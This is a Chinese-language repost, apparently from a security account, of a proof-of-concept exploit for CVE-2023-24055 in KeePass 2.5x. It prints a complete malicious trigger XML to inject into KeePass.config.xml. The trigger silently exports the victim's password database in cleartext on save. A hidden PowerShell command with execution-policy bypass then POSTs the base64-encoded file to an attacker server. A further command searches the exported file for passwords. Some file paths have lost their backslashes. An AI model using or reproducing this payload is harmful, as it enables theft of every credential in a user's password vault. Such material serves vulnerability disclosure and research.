(1) 对 KeePass 配置文件具有写入权限的攻击者KeePass.config.xml可以注入以下触发器，例如：
<TriggerCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><Triggers><Trigger><Guid>lztpSRd56EuYtwwqntH7TQ==</Guid><Name>exploit</Name><Events><Event><TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid><Parameters><Parameter>0</Parameter><Parameter /></Parameters></Event></Events><Conditions /><Actions><Action><TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid><Parameters><Parameter>c:UsersJohnAppDataLocalTempexploit.xml</Parameter><Parameter>KeePass XML (2.x)</Parameter><Parameter /><Parameter /></Parameters></Action><Action><TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid><Parameters><Parameter>PowerShell.exe</Parameter><Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersJohnAppDataLocalTempexploit.xml'))) </Parameter><Parameter>False</Parameter><Parameter>1</Parameter><Parameter /></Parameters></Action></Actions></Trigger></Triggers></TriggerCollection>
(2) 受害者将打开 keePass 作为正常活动，保存更改等……，触发器将在后台执行，将凭据泄露给攻击者服务器
触发 PoC 详细信息
KeePass XML (2.x) formata) 触发器会将包含所有凭据的 keepass 数据库导出到以下(cleartext) 路径中，例如：
c:UsersJohnAppDataLocalTempexploit.xml b) 导出文件后，可以定义第二个操作来使用Powershell.exe和编码为exfiltrate XML 数据，base64例如：
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersJohnAppDataLocalTempexploit.xml')))c) 数据将泄露到攻击者的 Web 服务器，例如：
触发 PoC 值
Name: TriggerEvents: Saved database file | [Equals]Conditions: <empty>Actions:(1) Export active databaseFile/URL: c:UsersJohnAppDataLocalTempexploit.xmlFile/Fortmat: KeePass XML (2.x)(2) Execute command line / URLFile/URL: PowerShell.exeArguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersJohnAppDataLocalTempexploit.xml')))Window style: Hidden
证书…
PS C:UsersJohnAppDataLocalTemp> type .exploit.xml | Select-String -Pattern Password
https://github.com/alt3kx/CVE-2023-24055_PoC
原文始发于微信公众号（Khan安全攻防实验室）：CVE-2023-24055 PoC（KeePass 2.5x）
